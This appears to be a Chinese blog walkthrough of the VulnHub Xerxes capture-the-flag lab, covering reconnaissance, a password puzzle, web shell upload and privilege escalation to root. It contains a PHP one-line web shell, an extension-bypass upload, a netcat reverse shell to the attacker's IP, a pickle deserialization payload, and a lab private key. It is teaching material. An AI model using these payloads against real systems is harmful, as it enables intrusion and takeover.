2.vulnhub-Xerxes靶机复现

靶机下载地址
在这里插入图片描述
解压后,导入VMware即可使用

渗透方法

  • 网络扫描(Nmap)
  • 浏览 HTTP Web 服务
  • 目录暴力破解 (Dirb)
  • Base64解码
  • Gimp 编辑器缩放图像并找到提示
  • 十进制转ASCII,Brainfuck解密
  • 远程命令/代码执行漏洞
  • 在各个阶段搜索和夺旗

过程

1. 使用nmap扫描,确定IP

查看本机IP
ip a
在这里插入图片描述

扫描
nmap -sS 192.168.152.0/24
在这里插入图片描述

开放80端口、http服务,猜测是网站

访问发现是网站
在这里插入图片描述

查看源码,没有什么发现

在这里插入图片描述

2. 使用nmap进行全扫描,收集开放端口信息

nmap -A -p- 192.168.152.129

在这里插入图片描述

开放了22端口(ssh服务)、80端口(http服务)

3. 使用nikto扫描web漏洞信息

nikto -h http://192.168.152.129

发现有与XSS相关,有robots.txt,有/dev/目录
在这里插入图片描述

访问 http://192.168.152.129/robots.txt
在这里插入图片描述

访问http://192.168.152.129/dev/
发现存在提交页面
在这里插入图片描述

4. 使用dirb扫描敏感目录信息

dirb http://192.168.152.129
在这里插入图片描述

得到的敏感目录也是 /dev及/dev/upload

5. 进行测试

5.1 上传图片

我上传了两个正常图片。提示我图片太大
在这里插入图片描述

尝试上传了个快捷方式,没想到可以上传,只不过提示密码不可用
在这里插入图片描述

 提示错误:您提供的密码无效

5-2 找回密码

由于没有密码无法上传图片。下方有找回密码的选项,点击
在这里插入图片描述
显示出一个二维码
不打码不让发,哪里违规了?

扫二维码
得到一串base64加密的秘钥
bG9vayBkZWVwZXl=
在这里插入图片描述
base64解码得出结果
echo bG9vayBkZWVwZXl= | base64 -d
在这里插入图片描述
给出的提示是看得更深

5-3 处理图片信息

发现上面有点东西,放大了十几倍,但是看不清是什么
在这里插入图片描述
去下载专门处理图片的软件Gimp Editor官网下载地址
在这里插入图片描述
使用GIMP打开图片后,发现那些是一块块规整、颜色深度不完全一样的马赛克拼接而成
所以使用工具进行颜色拾取
在这里插入图片描述
对着一个个小马赛克块点击shift,会显示图像的信息
在这里插入图片描述
经过点击,发现每个小马赛克块只有A值会变,RGB是固定的
记录所有小马赛克块儿的A值:

75,121,115,114,75,121,115,114,87,122,52,114,75,121,115,114,75,121,115,114,75,122,119,116,88,84,52,114,75,121,115,114,76,105,115,117,76,83,48,116,76,83,52,116,76,105,52,61

收集完所有的A 值后,将找到的十进制值数字替换为相对应的 ASCII 字符
在这里插入图片描述
得到

KysrKysrWz4rKysrKysrKzwtXT4rKysrLisuLS0tLS4tLi4=

进行base64解密
echo KysrKysrWz4rKysrKysrKzwtXT4rKysrLisuLS0tLS4tLi4= | base64 -d
在这里插入图片描述
得到++++++[>++++++++<-]>++++.+.----.-..
这种加密方式被称为BrainFuck,之前做别的靶机时老师提到过
BrainFuck解码网站
在这里插入图片描述
得到密码:45100

5-4 进行文件上传

之前上传图片时候就提到过,上传图片提示过大,我是上传了一个快捷方式,所以猜测可以上传其他后缀的文件

5-4-1 尝试上传php文件

上传成功
在这里插入图片描述
在这里插入图片描述
点击,发现可以正常解析
在这里插入图片描述

5-4-2 尝试上传PHP后缀的一句话木马文件

<?php
system($_REQUEST['GGG']);
?>
php中system函数用于执行外部程序,并且显示输出

上传失败,报错:检测到非法文件
在这里插入图片描述

5-4-2 尝试更换后缀为pht绕过

pht是PHP的新线程扩展。它使类,函数甚至整个文件都可以被线程化。
pht扩展名不应在Web服务器环境中使用。线程应仅限于基于CLI(命令行界面)的应用程序。

恰好在信息收集时候发现此系统为Debian,符合pht的使用条件

将shell.php改为shell.pht再次上传

在这里插入图片描述

上传成功
在这里插入图片描述

看是否可以执行

命令1:http://192.168.152.129/dev/upload/shell.pht?GGG=id

发现可执行
在这里插入图片描述

命令2:http://192.168.152.129/dev/upload/shell.pht?GGG=cat /etc/passwd

均有回显
在这里插入图片描述

所以判断该页面存在RCE(远程命令执行漏洞)

6. 利用RCE漏洞反弹shell

查看nc的绝对路径
where nc

在这里插入图片描述
打开kali,启动瑞士军刀,开启监听
nc -lvvp 8888
在这里插入图片描述

然后使用反弹shell(注意和kali的顺序,先开启监听)
/bin/nc -e /bin/bash (kali的IP) 8888(Kali监听的端口)
命令为:
http://192.168.152.129/dev/upload/shell.pht?GGG=/bin/nc -e /bin/bash 192.168.152.128 8888

转圈圈说明已经挂上了
在这里插入图片描述

打开kali,反弹shell成功

在这里插入图片描述

一旦获得反弹shell,要做的第一件事就是将会话升级为更具交互性的会话,因此使用 python one-liner 将会话从 sh 升级到 bash
python -c "import pty;pty.spawn('/bin/bash')"

成功
www-data是运行apache Web服务器的默认用户
在这里插入图片描述

7. 提权

home目录发现三个目录:amanpour,curtiz和delacroix
在这里插入图片描述

7-1 登录amanpour用户

在这里插入图片描述
查看 .bash_history

在这里插入图片描述

脚本steqr.py是与密码相关的脚本
在这里插入图片描述
使用该脚本对密码进行重置

python steqr.py -f newpassword

在这里插入图片描述

使用ssh登录
amanpour:b56d9d8b6077fb56127d1c8ff84ece11

在这里插入图片描述

7-2 利用amanpour用户获取有用信息

查找所有SUID文件
find / -perm -u=s -type f 2>/dev/null

	/		根目录 
-perm		按照文件的权限模式去查找(文件有可读有可写)
-u=s		该用户对文件有特殊权限
-type f		只要文件,不要目录(-type dir 代表找的是目录)
2>/dev/null		 爆破出错的都扔掉

SUID(针对的是文件所属者)是赋予文件的特殊类型的文件权限。通常在Linux/Unix中运行程序时,它会从登录用户继承访问权限。SUID定义为为用户提供临时权限,以使用文件所有者的权限而不是运行它的用户来运行程序/文件。简单来说,用户在执行文件/程序/命令时将获得文件所有者的权限以及所有者UID和GID。
总而言之:SUID为二进制程序进行设置的特殊权限,它可以让二进制程序执行者临时拥有属主的权限

在这里插入图片描述
观察到notes
进入opt目录
在这里插入图片描述
查看脚本:
在这里插入图片描述
发现使用了pickle模块,作用是在将对象写入文件之前先将其“序列化”,该模块容易受到不安全的反序列化的影响
关于Python序列化与反序列化:Python序列化与反序列化
在这里插入图片描述
在opt文件夹中新建一个文件,发现没有权限
在这里插入图片描述
进入tmp文件夹,创建shell
在这里插入图片描述

tmp类似于Windows下的回收站,任何用户对其拥有所有权限)
在这里插入图片描述

权限项读写执行读写执行读写执行
字符表示rwxrwxrwt
权限分配文件所属者文件所属组其它用户

SBIT(针对的是其他用户):SBIT特殊权限可以确保这只能删除自己的文件,而不能删除其他用户的文件

cos
system
(S'/bin/sh'
tR.

代码释义:

(1)c 后面是模块名,换行后是类名,于是将 os.system 放入栈中

(2)( 这个是标记符,我们将一个 Mark 放入栈中

(3)S 后面是字符串,我们放入栈中

(4)t 将栈中 Mark 之前的内容取出来转化成元组,再存入栈中 (’/bin/sh’,),同时标记 Mark 消失

(5)R 将元组取出,并将 callable 取出,然后将元祖作为 callable 的参数,并执行,对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中

写入
在这里插入图片描述
然后进入返回到opt下的notes目录并执行notes脚本(退出bash快捷键:ctrl+D)
cd /opt
./notes

在这里插入图片描述
引入刚刚写好的shell脚本,需要用相对路径
load ../../tmp/shell
执行指令
whoami
当运行 load …/…/tmp/shell 时,会发现为curtiz
在这里插入图片描述
在这里插入图片描述
会查看到amanpour所属组为curtiz组
linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)

7-3 利用所得信息登录delacroix用户

查看进入到组文件夹下并查看该目录下文件
cd /home/curtiz
ls

然后查看notes文件
cat notes
这个是marie的ssh私钥
在这里插入图片描述
查看/etc/passwd下与Marie相关的信息
cat /etc/passwd | grep "Marie"
在这里插入图片描述
用户名:口令:uid:组id:备注:家目录:登录shell

strings /bin/delacroix
strings 命令:在对象文件或二进制文件中查找可打印的字符串
发现MD5加密的字符串:3d054afb77714ca938d8bca104fcb141
在这里插入图片描述
MD5解密得到:VonBraun
在这里插入图片描述
使用delacroix:VonBraun进行登录
发现登陆不上
在这里插入图片描述

查看私钥:
cat id_rsa
在这里插入图片描述

使用私钥进行登录:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoRCJPJ0sIabJxmC0cbR1ppci3FFh5GBCVV/BYNnU9UKnOJyn
CtKCZDd+RAZiNxrN37eh486uyBdbHu8UVcDaPDrge3XHrrHQn41za1I1eXYQ3dhV
mSY8kLkqmXMYutTwPxB4Eav0KMbdmsg+frSEU1TDiIhEVG7/h5wQTpdWRMVRKDFb
lrwm0yFV9a/Ib1+qB4AMUC9VFvAvqhMJfF2ZrYXcni1X+QRbGdr94seEYCg369lD
XEcHhkAhf+LrU99bCsTXa5d6TMKhFrDegLd5Mb8VCAgZFUAStpYTbAfazwBN4eux
9Q62opjNaNUN1XXpTD8hU4Q56YN0lNd/5rJRYQIDAQABAoIBABrcmSbEx8FtAaXW
JwH3qM950VSRNhRSgX2flK7EZaHp1d25Mpq5dQmlv6c0sVijXcZ758IIjFnOm2HT
Wb7bhQoaf6nXgM//091oR+GUOlrhd/qnw87g86TnXNVuvqcaMF80LfI0jWnnkLnp
v5J+JLuJHXs9zreOM4u4WXfiAX9CbXrcwFoHEh7io0s1WmrA/DGJJLD50O6/GkN+
QSvnU77JTb+1HOtXpN9T6x0tz/BEr3ahjYbzpqg+MPIuZUCU9uTK0Hfb+NPvd6sr
bdjYGCKu6FPiYMgZ11WMGDWzI/Uiu8URtKmGe0e0x/Wlny6D/f21hlwO0XNOy2Pq
ZeSj/WECgYEA0j6G6ah6onC6bcWOlnj7RRLV0Hv8TSdPoIA/ZUvAiZUsAqp9So+H
Ne60/HZXIVFV+BkiZff86cYqvqRdg4UZ3pSAvxFhR97Xf3P84qe2cg1l3NPbhWkT
Dp9XaP6sXFZ+eyKDTO9VkNbXRKIzZOzYqAmyqyZEqtRm5ZB1auBGvhUCgYEAxB4I
Do6paaNDNT/Onmccm5wlbUr7kgSEweGI9QnEv2GK+kwPsTaagtU4B6zHxVVyXemk
04r0ZtQo2GEWZkkrJiKQO7QYG3prNf9hd+4Jw8NDpdiUFeLr3q1YS3rpEDHN1EBV
YebflltIf5Wkl27LJlT4Mz9BZbd3L0CVAWuO5R0CgYA/TPwp1cQ2rGI1MsofnAVr
YqRlxS7NvAxJctOjmA88XWGG2/YlQNmg72ImsSrCqU6NCGRG90d6y2OLSsmtE6Ia
VfP9kyoLDZkskquNQpm39Ti6KD9sB5rpSCh1QFh85L3oLRgDTfwhQ85Ep+F5faYt
0d2tkjQSiyj/7WKs7yHdkQKBgQCpGe/+hVpkgObJelwxT11me6v14iqrDARgnJSY
HLUuA/Buw7jgJ+Hwn+LxEzUp3PSBL5303aLBK3yQnp5O0hZHipPtNut2fgcFh0/G
tlRrHOoujWGawZB57+PrKW7ejOMaeeJlSUpO/iS0BhbmkBzQz4E3xvoft6Mn9jrE
/7Y1rQKBgAefUP+D3pt4EZa37RS6FdbTyHyFpYlzK8SVrnyt+ELn8MU4PJj72Yq4
f2sTKGrC2DFXmNxhdJGAJw1vChET1aVU+QxJxckF/h4gJKsbfKuoSECb4Ojomh9o
SeNEL6zyLP7mMLFvGnpc63pOTuDgQr954JMW4P2F5ekku2Ea5DMX
-----END RSA PRIVATE KEY-----

7-4 提权至root

7-4-1 Finalshell使用私钥进行登录

在这里插入图片描述

7-4-2 获取敏感信息

查看“/home/delacroix”目录下的内容,发现有两个文件check.sh和generate.sh。
在这里插入图片描述

“check.sh”脚本提供定制的登录信息。
它在登录时回显问候消息,并且脚本检查自创建文件/home/delacroix/.last以来的秒数。如果它超过86400秒(24小时),它会提示Marie使用generate.sh更改密码,generate.sh会创建一个新的.last文件,并使用该文件的HH:MM时间戳生成唯一的MD5。
在这里插入图片描述
脚本“generate.sh”创建一个新的“.last”文件,并使用文件的时间戳生成唯一的MD5
在这里插入图片描述
使用stat命令检查所有文件的状态,以及用户在创建该文件后上次登录或注销时的状态
stat .last
在这里插入图片描述
确切的访问时间是00:19:51。现在可以提取generate.sh的相关部分并计算它在上次运行脚本时为Marie提供的MD5。
echo 00:19:51 | md5sum | awk {'print $1'}
得到
6cf49e97c915079e27c09d41da9d95e4
在这里插入图片描述

7-4-3 完成提权

查看隐藏文件
在这里插入图片描述
看他的历史操作记录有没有敏感操作
cat .bash_history

发现了有更改密码及切换root用户的记录
在这里插入图片描述
所以生成的MD5值应该是root用户的密码
sudo su
6cf49e97c915079e27c09d41da9d95e4
成功!
在这里插入图片描述

查看文件,发现flag
在这里插入图片描述
查看flag 发现是png图片
在这里插入图片描述

7-4-4 如果使用Kali通过私钥访问:

创建私钥文件
vim id_rsa
在这里插入图片描述

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoRCJPJ0sIabJxmC0cbR1ppci3FFh5GBCVV/BYNnU9UKnOJyn
CtKCZDd+RAZiNxrN37eh486uyBdbHu8UVcDaPDrge3XHrrHQn41za1I1eXYQ3dhV
mSY8kLkqmXMYutTwPxB4Eav0KMbdmsg+frSEU1TDiIhEVG7/h5wQTpdWRMVRKDFb
lrwm0yFV9a/Ib1+qB4AMUC9VFvAvqhMJfF2ZrYXcni1X+QRbGdr94seEYCg369lD
XEcHhkAhf+LrU99bCsTXa5d6TMKhFrDegLd5Mb8VCAgZFUAStpYTbAfazwBN4eux
9Q62opjNaNUN1XXpTD8hU4Q56YN0lNd/5rJRYQIDAQABAoIBABrcmSbEx8FtAaXW
JwH3qM950VSRNhRSgX2flK7EZaHp1d25Mpq5dQmlv6c0sVijXcZ758IIjFnOm2HT
Wb7bhQoaf6nXgM//091oR+GUOlrhd/qnw87g86TnXNVuvqcaMF80LfI0jWnnkLnp
v5J+JLuJHXs9zreOM4u4WXfiAX9CbXrcwFoHEh7io0s1WmrA/DGJJLD50O6/GkN+
QSvnU77JTb+1HOtXpN9T6x0tz/BEr3ahjYbzpqg+MPIuZUCU9uTK0Hfb+NPvd6sr
bdjYGCKu6FPiYMgZ11WMGDWzI/Uiu8URtKmGe0e0x/Wlny6D/f21hlwO0XNOy2Pq
ZeSj/WECgYEA0j6G6ah6onC6bcWOlnj7RRLV0Hv8TSdPoIA/ZUvAiZUsAqp9So+H
Ne60/HZXIVFV+BkiZff86cYqvqRdg4UZ3pSAvxFhR97Xf3P84qe2cg1l3NPbhWkT
Dp9XaP6sXFZ+eyKDTO9VkNbXRKIzZOzYqAmyqyZEqtRm5ZB1auBGvhUCgYEAxB4I
Do6paaNDNT/Onmccm5wlbUr7kgSEweGI9QnEv2GK+kwPsTaagtU4B6zHxVVyXemk
04r0ZtQo2GEWZkkrJiKQO7QYG3prNf9hd+4Jw8NDpdiUFeLr3q1YS3rpEDHN1EBV
YebflltIf5Wkl27LJlT4Mz9BZbd3L0CVAWuO5R0CgYA/TPwp1cQ2rGI1MsofnAVr
YqRlxS7NvAxJctOjmA88XWGG2/YlQNmg72ImsSrCqU6NCGRG90d6y2OLSsmtE6Ia
VfP9kyoLDZkskquNQpm39Ti6KD9sB5rpSCh1QFh85L3oLRgDTfwhQ85Ep+F5faYt
0d2tkjQSiyj/7WKs7yHdkQKBgQCpGe/+hVpkgObJelwxT11me6v14iqrDARgnJSY
HLUuA/Buw7jgJ+Hwn+LxEzUp3PSBL5303aLBK3yQnp5O0hZHipPtNut2fgcFh0/G
tlRrHOoujWGawZB57+PrKW7ejOMaeeJlSUpO/iS0BhbmkBzQz4E3xvoft6Mn9jrE
/7Y1rQKBgAefUP+D3pt4EZa37RS6FdbTyHyFpYlzK8SVrnyt+ELn8MU4PJj72Yq4
f2sTKGrC2DFXmNxhdJGAJw1vChET1aVU+QxJxckF/h4gJKsbfKuoSECb4Ojomh9o
SeNEL6zyLP7mMLFvGnpc63pOTuDgQr954JMW4P2F5ekku2Ea5DMX
-----END RSA PRIVATE KEY-----

chmod 600 id_rsa
在这里插入图片描述

ssh -i id_rsa delacroix@192.168.152.129
delacroix:VonBraun

使用私钥进行ssh登录,发现报错:
sign_and_send_pubkey: no mutual signature supported

报错原因
新的OpenSSH版本(7.0+)不推荐使用DSA密钥,默认情况下不使用DSA密钥(不在服务器或客户端上)。这些密钥不再被使用,因此如果可以,我建议尽可能使用RSA密钥。

使用ssh私钥登录
ssh -i id_rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa delacroix@192.168.152.129
delacroix:VonBraun
登录成功

在这里插入图片描述
sudo bash
6cf49e97c915079e27c09d41da9d95e4

登录成功
在这里插入图片描述

7-5 查看flag图片

7-5-1 使用python搭建web服务器

python2:
python -m SimpleHTTPServer 1212
python3:
python3 -m http.server 1212
经过查看,该服务器python版本为python2
开启web服务
python -m SimpleHTTPServer 1212
在这里插入图片描述

7-5-2 通过浏览器访问:

http://192.168.152.129:1212/
在这里插入图片描述

7-5-3 查看flag

由于知道是png文件,所以下载后更改后缀查看即可
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值